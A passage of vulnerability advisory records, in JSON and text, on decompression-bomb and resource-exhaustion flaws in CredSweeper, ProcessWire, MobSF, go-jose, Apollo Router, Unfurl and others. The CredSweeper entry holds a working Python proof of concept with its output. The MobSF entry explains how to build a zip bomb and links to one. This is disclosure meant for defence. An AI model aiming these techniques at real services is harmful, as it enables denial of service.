load_module(\"credsweeper.deep_scanner.gzip_scanner\", \"deep_scanner/gzip_scanner.py\")\n bzip2_module = load_module(\"credsweeper.deep_scanner.bzip2_scanner\", \"deep_scanner/bzip2_scanner.py\")\n lzma_module = load_module(\"credsweeper.deep_scanner.lzma_scanner\", \"deep_scanner/lzma_scanner.py\")\n zip_module = load_module(\"credsweeper.deep_scanner.zip_scanner\", \"deep_scanner/zip_scanner.py\")\n tar_module = load_module(\"credsweeper.deep_scanner.tar_scanner\", \"deep_scanner/tar_scanner.py\")\n provider_module = sys.modules[\"credsweeper.file_handler.data_content_provider\"]\n return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module\n\nclass RecordingRecursiveCalls:\n def __init__(self):\n self.calls = []\n self.config = object()\n def recursive_scan(self, data_provider, depth, recursive_limit_size):\n self.calls.append({\n \"path\": data_provider.file_path,\n \"len\": len(data_provider.data),\n \"limit\": recursive_limit_size,\n \"info\": data_provider.info,\n \"depth\": depth,\n })\n return []\n\ndef build_compressed_payloads(payload):\n gzip_buffer = io.BytesIO()\n with gzip.GzipFile(fileobj=gzip_buffer, mode=\"wb\") as handle:\n handle.write(payload)\n return {\n \"gzip\": gzip_buffer.getvalue(),\n \"bzip2\": bz2.compress(payload),\n \"lzma\": lzma.compress(payload),\n }\n\ndef proof_negative_budget_after_full_decompression():\n _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()\n DataContentProvider = provider_module.DataContentProvider\n payload = b\"A\" * 64\n recursive_limit_size = 16\n compressed_payloads = build_compressed_payloads(payload)\n results = []\n for name, module, file_name in [\n (\"gzip\", gzip_module, \"proof.txt.gz\"),\n (\"bzip2\", bzip2_module, \"proof.txt.bz2\"),\n (\"lzma\", lzma_module, \"proof.txt.xz\"),\n ]:\n recorder = RecordingRecursiveCalls()\n provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f\"FILE:{file_name}\")\n scanner_class = getattr(module, f\"{name.capitalize() if name != \u0027bzip2\u0027 else \u0027Bzip2\u0027}Scanner\")\n scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n results.append({\n \"format\": name,\n \"compressed_size\": len(compressed_payloads[name]),\n \"decompressed_size\": recorder.calls[0][\"len\"],\n \"configured_limit\": recursive_limit_size,\n \"residual_limit_seen_by_recursive_scan\": recorder.calls[0][\"limit\"],\n \"recursive_call\": recorder.calls[0],\n })\n return results\n\ndef proof_negative_budget_not_rejected():\n abstract_module, _, _, _, _, _, provider_module = load_scanners()\n DataContentProvider = provider_module.DataContentProvider\n AbstractScanner = abstract_module.AbstractScanner\n class DemoScanner(AbstractScanner):\n @property\n def config(self):\n return object()\n @property\n def scanner(self):\n return object()\n def data_scan(self, data_provider, depth, recursive_limit_size):\n return []\n @staticmethod\n def get_deep_scanners(data, descriptor, depth):\n return [], []\n def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):\n self.proof = {\n \"data_len\": len(data_provider.data),\n \"depth\": depth,\n \"recursive_limit_size\": recursive_limit_size,\n }\n return []\n demo = DemoScanner()\n provider = DataContentProvider(b\"A\" * 64, file_path=\"oversize.txt\", file_type=\".txt\", info=\"FILE:oversize.txt\")\n demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)\n return demo.proof\n\ndef proof_cumulative_budget_bypass_in_multi_entry_archives():\n _, _, _, _, zip_module, tar_module, provider_module = load_scanners()\n DataContentProvider = provider_module.DataContentProvider\n recursive_limit_size = 16\n member_size = 12\n\n zip_buffer = io.BytesIO()\n with zipfile.ZipFile(zip_buffer, \"w\", zipfile.ZIP_DEFLATED) as archive:\n archive.writestr(\"a.txt\", b\"A\" * member_size)\n archive.writestr(\"b.txt\", b\"B\" * member_size)\n\n tar_buffer = io.BytesIO()\n with tarfile.open(fileobj=tar_buffer, mode=\"w\") as archive:\n for name, fill in [(\"a.txt\", b\"A\"), (\"b.txt\", b\"B\")]:\n payload = fill * member_size\n info = tarfile.TarInfo(name)\n info.size = len(payload)\n archive.addfile(info, io.BytesIO(payload))\n\n results = []\n for name, module, data, scanner_name in [\n (\"zip\", zip_module, zip_buffer.getvalue(), \"ZipScanner\"),\n (\"tar\", tar_module, tar_buffer.getvalue(), \"TarScanner\"),\n ]:\n recorder = RecordingRecursiveCalls()\n provider = DataContentProvider(data, file_path=f\"proof.{name}\", file_type=f\".{name}\", info=f\"FILE:proof.{name}\")\n getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n results.append({\n \"format\": name,\n \"configured_limit\": recursive_limit_size,\n \"member_size\": member_size,\n \"member_count\": len(recorder.calls),\n \"total_extracted_bytes\": sum(call[\"len\"] for call in recorder.calls),\n \"recursive_calls\": recorder.calls,\n })\n return results\n\nprint(json.dumps({\n \"head_commit\": get_head_commit(),\n \"package_version\": get_package_version(),\n \"proof_1_negative_budget_after_full_decompression\": proof_negative_budget_after_full_decompression(),\n \"proof_2_negative_budget_not_rejected\": proof_negative_budget_not_rejected(),\n \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": proof_cumulative_budget_bypass_in_multi_entry_archives(),\n}, indent=2, sort_keys=True))\n```\n\n3. Run it with Python 3:\n\n```bash\npython proof_poc.py\n```\n\n4. Expected/observed output from my run on commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`:\n\n```json\n{\n \"head_commit\": \"8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\",\n \"package_version\": \"1.15.8\",\n \"proof_1_negative_budget_after_full_decompression\": [\n {\n \"format\": \"gzip\",\n \"compressed_size\": 24,\n \"configured_limit\": 16,\n \"decompressed_size\": 64,\n \"residual_limit_seen_by_recursive_scan\": -48\n },\n {\n \"format\": \"bzip2\",\n \"compressed_size\": 39,\n \"configured_limit\": 16,\n \"decompressed_size\": 64,\n \"residual_limit_seen_by_recursive_scan\": -48\n },\n {\n \"format\": \"lzma\",\n \"compressed_size\": 68,\n \"configured_limit\": 16,\n \"decompressed_size\": 64,\n \"residual_limit_seen_by_recursive_scan\": -48\n }\n ],\n \"proof_2_negative_budget_not_rejected\": {\n \"data_len\": 64,\n \"depth\": 0,\n \"recursive_limit_size\": -48\n },\n \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": [\n {\n \"format\": \"zip\",\n \"configured_limit\": 16,\n \"member_size\": 12,\n \"member_count\": 2,\n \"total_extracted_bytes\": 24\n },\n {\n \"format\": \"tar\",\n \"configured_limit\": 16,\n \"member_size\": 12,\n \"member_count\": 2,\n \"total_extracted_bytes\": 24\n }\n ]\n}\n```\n\nWhat this proves:\n\n- GZIP/BZIP2/LZMA:\n With a configured recursive limit of `16`, CredSweeper still fully inflates a `64` byte payload and then continues recursion with a residual limit of `-48`.\n\n- AbstractScanner:\n The negative budget is not rejected. `recursive_scan()` still dispatches into `deep_scan_with_fallback()` with `recursive_limit_size = -48`.\n\n- ZIP/TAR:\n A configured limit of `16` still allows two `12` byte members to be processed, for a total extracted size of `24`.\n\nThis is a complete end-to-end proof of the root cause and both exploitation variants.\n\n### Impact\nThis is an availability / resource-exhaustion vulnerability.\n\nWho is impacted:\n\n- Users who run CredSweeper with deep scanning enabled (`--depth \u003e 0`) on untrusted repositories, archives, or binary inputs.\n- CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.\n- Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.\n\nPractical consequences:\n\n- Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.\n- Archive inputs with many individually small members can exceed the configured budget in aggregate.\n- Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.\n\nSecurity classification:\n\n- Primary weakness: `CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)`\n- Related weakness: `CWE-400: Uncontrolled Resource Consumption`\n\nI did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.\n\n### Mitigation\nI recommend fixing this in three layers:\n\n1. Add a hard negative-budget guard in `recursive_scan()` and `structure_scan()`\n\nBefore any recursive dispatch, abort when `recursive_limit_size \u003c 0`.\n\n2. Enforce limits before or during decompression, not after full materialization\n\n- `gzip`, `bzip2`, `lzma/xz` should use bounded incremental decompression / bounded reads.\n- If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.\n\n3. Track a mutable cumulative budget across sibling archive members\n\n- `zip`, `tar`, and `rpm` should share a remaining-budget counter across entries.\n- After one child is accepted, decrement the shared remaining budget before processing the next sibling.\n\nRecommended regression tests:\n\n- A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.\n- Equivalent tests for bzip2 and lzma/xz.\n- A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.\n- A direct unit test for `recursive_scan()` showing that negative `recursive_limit_size` stops recursion immediately.",
"id": "GHSA-9mqm-qcwf-5qhg",
"modified": "2026-07-10T19:25:51Z",
"published": "2026-07-10T19:25:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Samsung/CredSweeper/security/advisories/GHSA-9mqm-qcwf-5qhg"
},
{
"type": "PACKAGE",
"url": "https://github.com/Samsung/CredSweeper"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources"
}
GHSA-9P44-Q66P-XM6P
Vulnerability from github – Published: 2025-10-21 18:30 – Updated: 2025-10-27 20:01ProcessWire CMS 3.0.246 allows a low-privileged user with lang-edit to upload a crafted ZIP to Language Support that is auto-extracted without limits prior to validation, enabling resource-exhaustion Denial of Service.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "processwire/processwire"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.246"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-60790"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-21T21:04:22Z",
"nvd_published_at": "2025-10-21T18:15:36Z",
"severity": "MODERATE"
},
"details": "ProcessWire CMS 3.0.246 allows a low-privileged user with lang-edit to upload a crafted ZIP to Language Support that is auto-extracted without limits prior to validation, enabling resource-exhaustion Denial of Service.",
"id": "GHSA-9p44-q66p-xm6p",
"modified": "2025-10-27T20:01:33Z",
"published": "2025-10-21T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60790"
},
{
"type": "WEB",
"url": "https://github.com/processwire/processwire-issues/issues/2120"
},
{
"type": "WEB",
"url": "https://github.com/NomanProdhan/security-vulnerability-research/tree/master/CVE-2025-60790"
},
{
"type": "PACKAGE",
"url": "https://github.com/processwire/processwire"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "ProcessWire CMS vulnerable to resource-exhaustion Denial of Service"
}
GHSA-9QMJ-P674-G42J
Vulnerability from github – Published: 2025-03-28 15:31 – Updated: 2025-03-28 15:31IBM PowerVM Hypervisor FW1050.00 through FW1050.30 and FW1060.00 through FW1060.20 could allow a local user, under certain Linux processor combability mode configurations, to cause undetected data loss or errors when performing gzip compression using HW acceleration.
{
"affected": [],
"aliases": [
"CVE-2025-0986"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-28T14:15:19Z",
"severity": "MODERATE"
},
"details": "IBM PowerVM Hypervisor FW1050.00 through FW1050.30 and FW1060.00 through FW1060.20 could allow a local user, under certain Linux processor combability mode configurations, to cause undetected data loss or errors when performing gzip compression using HW acceleration.",
"id": "GHSA-9qmj-p674-g42j",
"modified": "2025-03-28T15:31:55Z",
"published": "2025-03-28T15:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0986"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7229349"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-C3F2-QG8V-25Q2
Vulnerability from github – Published: 2026-04-09 00:31 – Updated: 2026-04-10 17:18Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-h5qv-qjv4-pc5m. This link is maintained to preserve external references.
Original Description
Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dfir-unfurl"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.04"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T17:18:31Z",
"nvd_published_at": "2026-04-08T22:16:24Z",
"severity": "HIGH"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-h5qv-qjv4-pc5m. This link is maintained to preserve external references.\n\n### Original Description\nUnfurl before\u00a02026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.",
"id": "GHSA-c3f2-qg8v-25q2",
"modified": "2026-04-10T17:18:31Z",
"published": "2026-04-09T00:31:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/obsidianforensics/unfurl/security/advisories/GHSA-h5qv-qjv4-pc5m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40036"
},
{
"type": "WEB",
"url": "https://github.com/RyanDFIR/unfurl/pull/243"
},
{
"type": "PACKAGE",
"url": "https://github.com/RyanDFIR/unfurl"
},
{
"type": "WEB",
"url": "https://github.com/RyanDFIR/unfurl/releases/tag/v2026.04"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/dfir-unfurl-denial-of-service-via-unbounded-zlib-decompression"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Unfurl\u0027s unbounded zlib decompression allows decompression bomb DoS",
"withdrawn": "2026-04-10T17:18:31Z"
}
GHSA-C5Q2-7R4C-MV6G
Vulnerability from github – Published: 2024-03-07 22:54 – Updated: 2025-02-13 19:07Impact
An attacker could send a JWE containing compressed data that used large amounts of memory and CPU when decompressed by Decrypt or DecryptMulti. Those functions now return an error if the decompressed data would exceed 250kB or 10x the compressed size (whichever is larger). Thanks to Enze Wang@Alioth and Jianjun Chen@Zhongguancun Lab (@zer0yu and @chenjj) for reporting.
Patches
The problem is fixed in the following packages and versions: - github.com/go-jose/go-jose/v4 version 4.0.1 - github.com/go-jose/go-jose/v3 version 3.0.3 - gopkg.in/go-jose/go-jose.v2 version 2.6.3
The problem will not be fixed in the following package because the package is archived: - gopkg.in/square/go-jose.v2
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "gopkg.in/go-jose/go-jose.v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "gopkg.in/square/go-jose.v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28180"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-07T22:54:44Z",
"nvd_published_at": "2024-03-09T01:15:07Z",
"severity": "MODERATE"
},
"details": "### Impact\nAn attacker could send a JWE containing compressed data that used large amounts of memory and CPU when decompressed by Decrypt or DecryptMulti. Those functions now return an error if the decompressed data would exceed 250kB or 10x the compressed size (whichever is larger). Thanks to Enze Wang@Alioth and Jianjun Chen@Zhongguancun Lab (@zer0yu and @chenjj) for reporting.\n\n### Patches\nThe problem is fixed in the following packages and versions:\n- github.com/go-jose/go-jose/v4 version 4.0.1\n- github.com/go-jose/go-jose/v3 version 3.0.3\n- gopkg.in/go-jose/go-jose.v2 version 2.6.3\n\nThe problem will not be fixed in the following package because the package is archived:\n- gopkg.in/square/go-jose.v2",
"id": "GHSA-c5q2-7r4c-mv6g",
"modified": "2025-02-13T19:07:25Z",
"published": "2024-03-07T22:54:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/security/advisories/GHSA-c5q2-7r4c-mv6g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28180"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/commit/0dd4dd541c665fb292d664f77604ba694726f298"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/commit/add6a284ea0f844fd6628cba637be5451fe4b28a"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/commit/f4c051a0653d78199a053892f7619ebf96339502"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-jose/go-jose"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GD2GSBQTBLYADASUBHHZV2CZPTSLIPQJ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I6MMWFBOXJA6ZCXNVPDFJ4XMK5PVG5RG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IJ6LAJJ2FTA2JVVOACCV5RZTOIZLXUNJ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JNPMXL36YGS3GQEVI3Q5HKHJ7YAAQXL5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KXKGNCRU7OTM5AHC7YIYBNOWI742PRMY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MSOMHDKRPU3A2JEMRODT2IREDFBLVPGS"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UG5FSEYJ3GP27FZXC5YAAMMEC5XWKJHG"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UJO2U5ACZVACNQXJ5EBRFLFW6DP5BROY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XJDO5VSIAOGT2WP63AXAAWNRSVJCNCRH"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Go JOSE vulnerable to Improper Handling of Highly Compressed Data (Data Amplification)"
}
GHSA-C5VG-26P8-Q8CR
Vulnerability from github – Published: 2025-05-05 19:32 – Updated: 2025-05-05 22:07Vulnerable MobSF Versions: <= v4.3.2
Details: MobSF is a widely adopted mobile application security testing tool used by security teams across numerous organizations. Typically, MobSF is deployed on centralized internal or cloud-based servers that also host other security tools and web applications. Access to the MobSF web interface is often granted to internal security teams, audit teams, and external vendors.
MobSF provides a feature that allows users to upload ZIP files for static analysis. Upon upload, these ZIP files are automatically extracted and stored within the MobSF directory. However, this functionality lacks a check on the total uncompressed size of the ZIP file, making it vulnerable to a ZIP of Death (zip bomb) attack.
Due to the absence of safeguards against oversized extractions, an attacker can craft a specially prepared ZIP file that is small in compressed form but expands to a massive size upon extraction. Exploiting this, an attacker can exhaust the server's disk space, leading to a complete denial of service (DoS) not just for MobSF, but also for any other applications or websites hosted on the same server.
Attack Scenario: Suppose the server hosting MobSF has 5 GB of free disk space..
A malicious user will first create a genuine hello world application code using android studio and inside this code directory (app//src/main/java/APK_PATH/bomb.txt) he'll place a bomb.txt file.
This bomb.txt file will have billions of zeros to increase the file size on storage and make it to 4.99 GB. Now suppose the resultant hello world code directory including original code and bomb.txt files will be of 5GB, so the attacker will compress the entire hello world code directory to zip and resultant zip will be around 12-15 MBs only.
An attacker will upload this zip bomb using the MobSF web interface or API. So an attacker will spend only 12-15 MB of his bandwidth.
Now the MobSF tool will extract that zip file and it'll be automatically converted into its original size 5GB.
So now a web server will be forced to store 5GB of data and its storage will be exhausted by an attacker's single request.
Web server's storage and resources will not be able to handle other running websites or applications as the storage is exhausted. This way an attacker can achieve complete Web Server Resource Exhaustion.
Impact: 1. This vulnerability can lead to complete server disruption in an organization which can affect other internal portals and tools too (which are hosted on the same server). 2. If some organization has created their customised cloud based mobile security tool using MobSF core then an attacker can exploit this vulnerability to crash their servers.
POC:
1. Screen Recording :
https://drive.google.com/file/d/1x7GEPJr2T04Ij5ZFQQtGWvUWXtM4M4aw/view?usp=sharing
2. POC Zip Bomb File (Upon extraction this file will consume 6GB of storage) : https://drive.google.com/file/d/1N3apL1ySMecnt3HUQcDcuH7hsjPrdwUj/view?usp=sharing
Mitigation: It is recommended to implement a safeguard that checks the total uncompressed size of any uploaded ZIP file before extraction. If the estimated uncompressed size exceeds a safe threshold (e.g., 100 MB), MobSF should reject the file and notify the user.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mobsf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46730"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-05T19:32:27Z",
"nvd_published_at": "2025-05-05T20:15:21Z",
"severity": "MODERATE"
},
"details": "**Vulnerable MobSF Versions:** \u003c= v4.3.2\n\n**Details:**\nMobSF is a widely adopted mobile application security testing tool used by security teams across numerous organizations. Typically, MobSF is deployed on centralized internal or cloud-based servers that also host other security tools and web applications. Access to the MobSF web interface is often granted to internal security teams, audit teams, and external vendors. \n\nMobSF provides a feature that allows users to upload ZIP files for static analysis. Upon upload, these ZIP files are automatically extracted and stored within the MobSF directory. However, this functionality lacks a check on the total uncompressed size of the ZIP file, making it vulnerable to a ZIP of Death (zip bomb) attack.\n\nDue to the absence of safeguards against oversized extractions, an attacker can craft a specially prepared ZIP file that is small in compressed form but expands to a massive size upon extraction. Exploiting this, an attacker can exhaust the server\u0027s disk space, leading to a complete denial of service (DoS) not just for MobSF, but also for any other applications or websites hosted on the same server.\n\n**Attack Scenario:**\nSuppose the server hosting MobSF has 5 GB of free disk space..\n\nA malicious user will first create a genuine hello world application code using android studio and inside this code directory (app//src/main/java/APK_PATH/bomb.txt) he\u0027ll place a bomb.txt file. \n\nThis bomb.txt file will have billions of zeros to increase the file size on storage and make it to 4.99 GB. Now suppose the resultant hello world code directory including original code and bomb.txt files will be of 5GB, so the attacker will compress the entire hello world code directory to zip and resultant zip will be around 12-15 MBs only.\n\nAn attacker will upload this zip bomb using the MobSF web interface or API. So an attacker will spend only 12-15 MB of his bandwidth. \n\nNow the MobSF tool will extract that zip file and it\u0027ll be automatically converted into its original size 5GB.\n\nSo now a web server will be forced to store 5GB of data and its storage will be exhausted by an attacker\u0027s single request. \n\nWeb server\u0027s storage and resources will not be able to handle other running websites or applications as the storage is exhausted. This way an attacker can achieve complete Web Server Resource Exhaustion. \n \n**Impact:**\n1. This vulnerability can lead to complete server disruption in an organization which can affect other internal portals and tools too (which are hosted on the same server).\n2. If some organization has created their customised cloud based mobile security tool using MobSF core then an attacker can exploit this vulnerability to crash their servers.\n\n**POC:**\n1. Screen Recording : \nhttps://drive.google.com/file/d/1x7GEPJr2T04Ij5ZFQQtGWvUWXtM4M4aw/view?usp=sharing\n2. POC Zip Bomb File (Upon extraction this file will consume 6GB of storage) : https://drive.google.com/file/d/1N3apL1ySMecnt3HUQcDcuH7hsjPrdwUj/view?usp=sharing\n\n**Mitigation:**\nIt is recommended to implement a safeguard that checks the total uncompressed size of any uploaded ZIP file before extraction. If the estimated uncompressed size exceeds a safe threshold (e.g., 100 MB), MobSF should reject the file and notify the user.",
"id": "GHSA-c5vg-26p8-q8cr",
"modified": "2025-05-05T22:07:44Z",
"published": "2025-05-05T19:32:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-c5vg-26p8-q8cr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46730"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/6987a946485a795f4fd38cebdb4860b368a1995d"
},
{
"type": "PACKAGE",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mobile Security Framework (MobSF) Allows Web Server Resource Exhaustion via ZIP of Death Attack"
}
GHSA-CGQF-3CQ5-WVCJ
Vulnerability from github – Published: 2024-03-06 18:24 – Updated: 2026-02-17 19:37Impact
The Apollo Router is a configurable, high-performance graph router written in Rust to run a federated supergraph that uses Apollo Federation. Affected versions are subject to a Denial-of-Service (DoS) type vulnerability. When receiving compressed HTTP payloads, affected versions of the Router evaluate the limits.http_max_request_bytes configuration option after the entirety of the compressed payload is decompressed. If affected versions of the Router receive highly compressed payloads, this could result in significant memory consumption while the compressed payload is expanded.
Patches
Router version 1.40.2 has a fix for the vulnerability.
Workarounds
If you are unable to upgrade, you may be able to implement mitigations at proxies or load balancers positioned in front of your Router fleet (e.g. Nginx, HAProxy, or cloud-native WAF services) by creating limits on HTTP body upload size.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "apollo-router"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.5"
},
{
"fixed": "1.40.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28101"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-06T18:24:17Z",
"nvd_published_at": "2024-03-21T02:52:23Z",
"severity": "HIGH"
},
"details": "### Impact\nThe Apollo Router is a configurable, high-performance graph router written in Rust to run a federated supergraph that uses Apollo Federation. Affected versions are subject to a Denial-of-Service (DoS) type vulnerability. When receiving compressed HTTP payloads, affected versions of the Router evaluate the `limits.http_max_request_bytes` configuration option after the entirety of the compressed payload is decompressed. If affected versions of the Router receive highly compressed payloads, this could result in significant memory consumption while the compressed payload is expanded. \n\n### Patches\nRouter version 1.40.2 has a fix for the vulnerability.\n\n### Workarounds\nIf you are unable to upgrade, you may be able to implement mitigations at proxies or load balancers positioned in front of your Router fleet (e.g. Nginx, HAProxy, or cloud-native WAF services) by creating limits on HTTP body upload size.",
"id": "GHSA-cgqf-3cq5-wvcj",
"modified": "2026-02-17T19:37:19Z",
"published": "2024-03-06T18:24:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apollographql/router/security/advisories/GHSA-cgqf-3cq5-wvcj"
},
{
"type": "WEB",
"url": "https://github.com/apollographql/router/commit/9e9527c73c8f34fc8438b09066163cd42520f413"
},
{
"type": "PACKAGE",
"url": "https://github.com/apollographql/router"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apollo Router\u0027s Compressed Payloads do not respect HTTP Payload Limits"
}
GHSA-F2H6-7XFR-XM8W
Vulnerability from github – Published: 2026-04-10 19:26 – Updated: 2026-04-10 19:26Summary
The _safe_extractall() function in PraisonAI's recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling tar.extractall(). An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim's disk when pulled via LocalRegistry.pull() or HttpRegistry.pull().
Details
The vulnerable function is _safe_extractall() at src/praisonai/praisonai/recipe/registry.py:131-162:
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
dest_resolved = dest_dir.resolve()
